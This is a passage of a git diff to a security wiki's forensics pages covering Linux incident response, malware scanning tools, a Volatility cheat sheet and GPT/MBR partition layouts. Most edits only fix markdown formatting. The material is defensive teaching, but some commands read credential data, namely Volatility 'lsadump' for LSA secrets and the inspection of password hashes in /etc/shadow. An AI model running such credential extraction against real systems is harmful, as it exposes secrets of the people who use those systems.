to have some **USB** with **good known binaries and libraries on it** (you can just get a ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USN, and modify the env variables to use those binaries: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin @@ -35,21 +35,21 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi While obtaining the basic information you should check for weird things like: -* **root processes **usually run with low PIDS, so if you find a root process with a big PID you may suspect -* Check **registered logins **of users without a shell inside `/etc/passwd` -* Check for **password hashes **inside `/etc/shadow` for users without a shell +* **root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect +* Check **registered logins** of users without a shell inside `/etc/passwd` +* Check for **password hashes** inside `/etc/shadow` for users without a shell ### Memory Dump In order to obtain the memory of the running system it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -In order to **compile **it you need to use the **exact same kernel** the victim machine is using. +In order to **compile** it you need to use the **exact same kernel** the victim machine is using. {% hint style="info" %} Remember that you **cannot install LiME or any other thing** in the victim machine it will make several changes to it {% endhint %} So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github can compile it with correct kernel headers. In order to **obtain the exact kernel headers** of the victim machine, you can just **copy the directory **`/lib/modules/` to your machine, and then **compile **LiME using them: +In other cases you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github can compile it with correct kernel headers. In order to **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: ```bash make -C /lib/modules//build M=$PWD @@ -62,14 +62,14 @@ LiME supports 3 **formats**: * Padded (same as raw, but with zeroes in right bits) * Lime (recommended format with metadata -LiME can also be use to** send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +LiME can also be use to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` ### Disk Imaging #### Shutting down -First of all you will need to** shutdown the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shutdown.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem **to be **synchronized**, but I will also allow the possible **malware **to **destroy evidences**. The "pull the plug" approach may carry **some information loss** (as we have already took an image of the memory not much info is going to be lost) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect **that there may be a **malware**, just execute the **`sync`** **command **on the system and pull the plug. +First of all you will need to **shutdown the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shutdown.\ +There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but I will also allow the possible **malware** to **destroy evidences**. The "pull the plug" approach may carry **some information loss** (as we have already took an image of the memory not much info is going to be lost) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. #### Taking an image of the disk @@ -186,7 +186,7 @@ rpm -qa --root=/ mntpath/var/lib/rpm ls /opt /usr/local ``` -Another good idea is to **check **the **common folders **inside **$PATH** for **binaries not related** to **installed packages:** +Another good idea is to **check** the **common folders** inside **$PATH** for **binaries not related** to **installed packages:** ```bash #Both lines are going to print the executables in /sbin non related to installed packages @@ -236,7 +236,7 @@ On Linux systems, kernel modules are commonly used as rootkit components to malw There are several configuration files that Linux uses to automatically launch an executable when a user logs into the system that may contain traces of malware. * _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ are executed when any user account logs in. -* _**∼/.bashrc **_, _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ are executed when the specific user logs in. +* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ are executed when the specific user logs in. * _**/etc/rc.local**_ It is traditionally executed after all the normal system services are started, at the end of the process of switching to a multiuser runlevel. ## Examine Logs @@ -245,24 +245,24 @@ Look in all available log files on the compromised system for traces of maliciou ### Pure Logs -**Logon **events recorded in the system and security logs, including logons via the network, can reveal that **malware **or an **intruder gained access **to a compromised system via a given account at a specific time. Other events around the time of a malware infection can be captured in system logs, including the **creation **of a **new** **service **or new accounts around the time of an incident.\ +**Logon** events recorded in the system and security logs, including logons via the network, can reveal that **malware** or an **intruder gained access** to a compromised system via a given account at a specific time. Other events around the time of a malware infection can be captured in system logs, including the **creation** of a **new** **service** or new accounts around the time of an incident.\ Interesting system logons: -* **/var/log/syslog **(debian)** **or **/var/log/messages **(Redhat) +* **/var/log/syslog** (debian) **** or **/var/log/messages** (Redhat) * Shows general messages and info regarding the system. Basically a data log of all activity throughout the global system. -* **/var/log/auth.log **(debian)** **or **/var/log/secure **(Redhat) +* **/var/log/auth.log** (debian) **** or **/var/log/secure** (Redhat) * Keep authentication logs for both successful or failed logins, and authentication processes. Storage depends on system type. * `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` * **/var/log/boot.log**: start-up messages and boot info. -* **/var/log/maillog **or **var/log/mail.log:** is for mail server logs, handy for postfix, smtpd, or email-related services info running on your server. +* **/var/log/maillog** or **var/log/mail.log:** is for mail server logs, handy for postfix, smtpd, or email-related services info running on your server. * **/var/log/kern.log**: keeps in Kernel logs and warning info. Kernel activity logs (e.g., dmesg, kern.log, klog) can show that a particular service crashed repeatedly, potentially indicating that an unstable trojanized version was installed. * **/var/log/dmesg**: a repository for device driver messages. Use **dmesg** to see messages in this file. * **/var/log/faillog:** records info on failed logins. Hence, handy for examining potential security breaches like login credential hacks and brute-force attacks. * **/var/log/cron**: keeps a record of Crond-related messages (cron jobs). Like when the cron daemon started a job. * **/var/log/daemon.log:** keeps track of running background services but doesn’t represent them graphically. * **/var/log/btmp**: keeps a note of all failed login attempts. -* **/var/log/httpd/**: a directory containing error\_log and access\_log files of the Apache httpd daemon. Every error that httpd comes across is kept in the **error\_log **file. Think of memory problems and other system-related errors. **access\_log** logs all requests which come in via HTTP. -* **/var/log/mysqld.log **or** /var/log/mysql.log **: MySQL log file that records every debug, failure and success message, including starting, stopping and restarting of MySQL daemon mysqld. The system decides on the directory. RedHat, CentOS, Fedora, and other RedHat-based systems use /var/log/mariadb/mariadb.log. However, Debian/Ubuntu use /var/log/mysql/error.log directory. +* **/var/log/httpd/**: a directory containing error\_log and access\_log files of the Apache httpd daemon. Every error that httpd comes across is kept in the **error\_log** file. Think of memory problems and other system-related errors. **access\_log** logs all requests which come in via HTTP. +* **/var/log/mysqld.log** or **/var/log/mysql.log** : MySQL log file that records every debug, failure and success message, including starting, stopping and restarting of MySQL daemon mysqld. The system decides on the directory. RedHat, CentOS, Fedora, and other RedHat-based systems use /var/log/mariadb/mariadb.log. However, Debian/Ubuntu use /var/log/mysql/error.log directory. * **/var/log/xferlog**: keeps FTP file transfer sessions. Includes info like file names and user-initiated FTP transfers. * **/var/log/\*** : You should always check for unexpected logs in this directory @@ -287,7 +287,7 @@ It's recommended to check if those logins make sense: * Any unknown user? * Any user that shouldn't have a shell has logged in? -This is important as **attackers **some times may copy `/bin/bash` inside `/bin/false` so users like **lightdm **may be **able to login**. +This is important as **attackers** some times may copy `/bin/bash` inside `/bin/false` so users like **lightdm** may be **able to login**. Note that you can also **take a look to this information reading the logs**. @@ -327,20 +327,20 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip] ## Review User Accounts and Logon Activities -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and** security logs** for unusual names or accounts created and/or used in close proximity to known unauthorized events. Also check possible sudo brute-force attacks.\ +Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and/or used in close proximity to known unauthorized events. Also check possible sudo brute-force attacks.\ Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally look for accounts with **no passwords **or **easily guessed **passwords. +Finally look for accounts with **no passwords** or **easily guessed** passwords. ## Examine File System -File system data structures can provide substantial amounts of **information **related to a **malware **incident, including the **timing **of events and the actual **content **of **malware**.\ -**Malware **is increasingly being designed to **thwart file system analysis**. Some malware alter date-time stamps on malicious files to make it more difficult to find them with time line analysis. Other malicious code is designed to only store certain information in memory to minimize the amount of data stored in the file system.\ +File system data structures can provide substantial amounts of **information** related to a **malware** incident, including the **timing** of events and the actual **content** of **malware**.\ +**Malware** is increasingly being designed to **thwart file system analysis**. Some malware alter date-time stamps on malicious files to make it more difficult to find them with time line analysis. Other malicious code is designed to only store certain information in memory to minimize the amount of data stored in the file system.\ To deal with such anti-forensic techniques, it is necessary to pay **careful attention to time line analysis** of file system date-time stamps and to files stored in common locations where malware might be found. -* Using **autopsy **you can see the timeline of events that may be useful to discover suspicions activity. You can also use the `mactime` feature from **Sleuth Kit **directly. -* Check for **unexpected scripts **inside **$PATH** (maybe some sh or php scripts?) +* Using **autopsy** you can see the timeline of events that may be useful to discover suspicions activity. You can also use the `mactime` feature from **Sleuth Kit** directly. +* Check for **unexpected scripts** inside **$PATH** (maybe some sh or php scripts?) * Files in `/dev` use to be special files, you may find non-special files here related to malware. -* Look for unusual or **hidden files **and **directories**, such as “.. ” (dot dot space) or “..^G ” (dot dot control-G) +* Look for unusual or **hidden files** and **directories**, such as “.. ” (dot dot space) or “..^G ” (dot dot control-G) * setuid copies of /bin/bash on the system `find / -user root -perm -04000 –print` * Review date-time stamps of deleted **inodes for large numbers of files being deleted around the same time**, which might indicate malicious activity such as installation of a rootkit or trojanized service. * Because inodes are allocated on a next available basis, **malicious files placed on the system at around the same time may be assigned consecutive inodes**. Therefore, after one component of malware is located, it can be productive to inspect neighbouring inodes. @@ -351,7 +351,7 @@ You can check the most recent files of a folder using `ls -laR --sort=time /bin` You can check the inodes of the files inside a folder using `ls -lai /bin |sort -n` {% hint style="info" %} -Note that an **attacker **can **modify **the **time **to make **files appear** **legitimate**, but he **cannot **modify the **inode**. If you find that a **file **indicates that it was created and modify at the **same time **of the rest of the files in the same folder, but the **inode **is **unexpectedly bigger**, then the **timestamps of that file were modified**. +Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modify at the **same time** of the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. {% endhint %} ## Compare files of different filesystem versions diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md index dd0ad534..bcf328c5 100644 --- a/forensics/basic-forensic-methodology/malware-analysis.md +++ b/forensics/basic-forensic-methodology/malware-analysis.md @@ -24,7 +24,7 @@ sudo apt-get install -y yara #### Prepare rules Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules **_directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py @@ -69,12 +69,12 @@ clamscan folderpath #Scan the hole folder IOC means Indicator Of Compromise. An IOC is a set of **conditions that identifies** some potentially unwanted software or a confirmed **malware**. Blue Teams use this kind of definitions to **search for this kind of malicious files** in their **systems** and **networks**.\ To share these definitions is very useful as when a malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. -A tool to create or modify IOCs is** **[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -****You can use tools such as** **[**Redline**](https://www.fireeye.com/services/freeware/redline.html)** **to **search for defined IOCs in a device**. +A tool to create or modify IOCs is **** [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +****You can use tools such as **** [**Redline**](https://www.fireeye.com/services/freeware/redline.html) **** to **search for defined IOCs in a device**. ### Loki -****[**Loki**](https://github.com/Neo23x0/Loki)** **is a scanner for Simple Indicators of Compromise.\ +****[**Loki**](https://github.com/Neo23x0/Loki) **** is a scanner for Simple Indicators of Compromise.\ Detection is based on four detection methods: ``` @@ -97,7 +97,7 @@ Detection is based on four detection methods: ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits **and malware. +Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] @@ -107,13 +107,13 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk [PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). -### NeoPI +### NeoPI -****[**NeoPI **](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods **to detect **obfuscated **and **encrypted **content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +****[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. ### **php-malware-finder** -****[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code **as well as files using **PHP **functions often used in **malwares**/webshells. +****[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. ### Apple Binary Signatures @@ -134,12 +134,12 @@ spctl --assess --verbose /Applications/Safari.app ### File Stacking -If you know that some folder containing the **files **of a web server was** last updated in some date**. **Check **the **date **all the **files **in the **web server were created and modified** and if any date is **suspicious**, check that file. +If you know that some folder containing the **files** of a web server was **last updated in some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. ### Baselines -If the files of a folder s**houldn't have been modified**, you can calculate the **hash **of the **original files **of the folder and **compare **them with the **current **ones. Anything modified will be **suspicious**. +If the files of a folder s**houldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. ### Statistical Analysis -When the information is saved in logs you can** check statistics like how many times each file of a web server was accessed as a webshell might be one of the most**. +When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a webshell might be one of the most**. diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 698ebe6a..8ecf5356 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,6 +1,6 @@ # Memory dump analysis -Start **searching **for **malware **inside the pcap. Use the **tools **mentioned in [**Malware Analysis**](../malware-analysis.md). +Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). ## [Volatility](volatility-examples.md) @@ -25,7 +25,7 @@ You can also load the exception and see the decompiled instructions Anyway Visual Studio isn't the best tool to perform a analysis in depth of the dump. -You should **open **it using **IDA **or **Radare **to inspection it in **depth**. +You should **open** it using **IDA** or **Radare** to inspection it in **depth**. diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md index 82045898..0dbc4bb4 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md @@ -1,6 +1,6 @@ # Volatility - CheatSheet -If you want something **fast and crazy **that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) +If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # Will use most important plugins (could use a lot of space depending on the size of the memory) @@ -54,7 +54,7 @@ From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis ### Volatility3 As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download **at: +Symbol table packs for the various operating systems are available for **download** at: * [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -101,9 +101,9 @@ volatility kdbgscan -f file.dmp #### **Differences between imageinfo and kdbgscan** -As opposed to imageinfo which simply provides profile suggestions, **kdbgscan **is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). +As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). -Always take a look in the** number of procceses that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile **but only the **valid one will have some process related** (This is because in order to extract processes the correct KDBG address is needed) +Always take a look in the **number of procceses that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because in order to extract processes the correct KDBG address is needed) ```bash # GOOD @@ -119,7 +119,7 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) #### KDBG -The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG **by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. +The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. ## OS Information @@ -128,7 +128,7 @@ The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGE ./vol.py -f file.dmp windows.info.Info ``` -The plugin `banners.Banners` can be used in** vol3 to try to find linux banners** in the dump. +The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. ## Hashes/Passwords @@ -154,7 +154,7 @@ volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ## Memory Dump -The memory dump of a process will **extract everything** of the current status of the process. The **procdump **module will only **extract **the **code**. +The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ @@ -165,7 +165,7 @@ volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ### List processes Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare **the result of pslist with the one of psscan to identify hidden processes. +It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. {% tabs %} {% tab title="vol3" %} @@ -221,7 +221,7 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f {% endtab %} {% endtabs %} -Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior **to us obtaining a memory **dump**, there is still a good chance of **recovering history **of the command line session from **conhost.exe’s memory**. If you find **something weird **(using the consoles modules), try to **dump **the **memory **of the **conhost.exe associated** process and **search **for **strings **inside it to extract the command lines. +Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird** (using the consoles modules), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines. ### Environment @@ -537,7 +537,7 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp {% endtab %} {% endtabs %} -The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself.** All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. **All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). ### SSL Keys/Certs @@ -599,7 +599,7 @@ volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ### Scanning with yara Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules **_directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. +Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. {% tabs %} {% tab title="vol3" %} diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 7314cb42..05fe07dd 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -2,13 +2,13 @@ ## Partitions -A hard drive or a** SSD disk can contain different partitions** with the goal of separating data physically.\ +A hard drive or a **SSD disk can contain different partitions** with the goal of separating data physically.\ The **minimum** unit of a disk is the **sector** (normally composed by 512B). So, each partition size needs to be multiple of that size. ### MBR (master Boot Record) -It's allocated in the** first sector of the disk after the 446B of the boot code**. This sector is essential to indicate the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**.. The** final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ +It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate the PC what and from where a partition should be mounted.\ +It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**.. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ MBR allows **max 2.2TB**. ![](<../../../.gitbook/assets/image (489).png>) @@ -60,11 +60,11 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ #### LBA (Logical block addressing) -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks **of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. ### GPT (GUID Partition Table) -It’s called GUID Partition Table because every partition on your drive has a** globally unique identifier**. +It’s called GUID Partition Table because every partition on your drive has a **globally unique identifier**. Just like MBR it starts in the **sector 0**. The MBR occupies 32bits while **GPT** uses **64bits**.\ GPT **allows up to 128 partitions** in Windows and up to **9.4ZB**.\ @@ -82,55 +82,55 @@ For limited backward compatibility, the space of the legacy MBR is still reserve #### Hybrid MBR (LBA 0 + GPT) -In operating systems that support **GPT-based boot through BIOS **services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. #### Partition table header (LBA 1) The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). -| Offset | Length | Contents | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| Offset | Length | Contents | +| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)on little-endian machines) | +| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | +| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | +| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | +| 20 (0x14) | 4 bytes | Reserved; must be zero | +| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | +| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | +| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | +| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | +| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | +| 72 (0x48) | 8 bytes | Starting LBA of array of partition entries (always 2 in primary copy) | +| 80 (0x50) | 4 bytes | Number of partition entries in array | +| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | +| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | +| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | #### Partition entries (LBA 2–33) -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| GUID partition entry format | | | +| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | +| Offset | Length | Contents | +| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mixed endian) | +| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | +| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) | +| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | +| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | +| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | #### Partitions Types ![](<../../../.gitbook/assets/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) ### Inspecting -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the 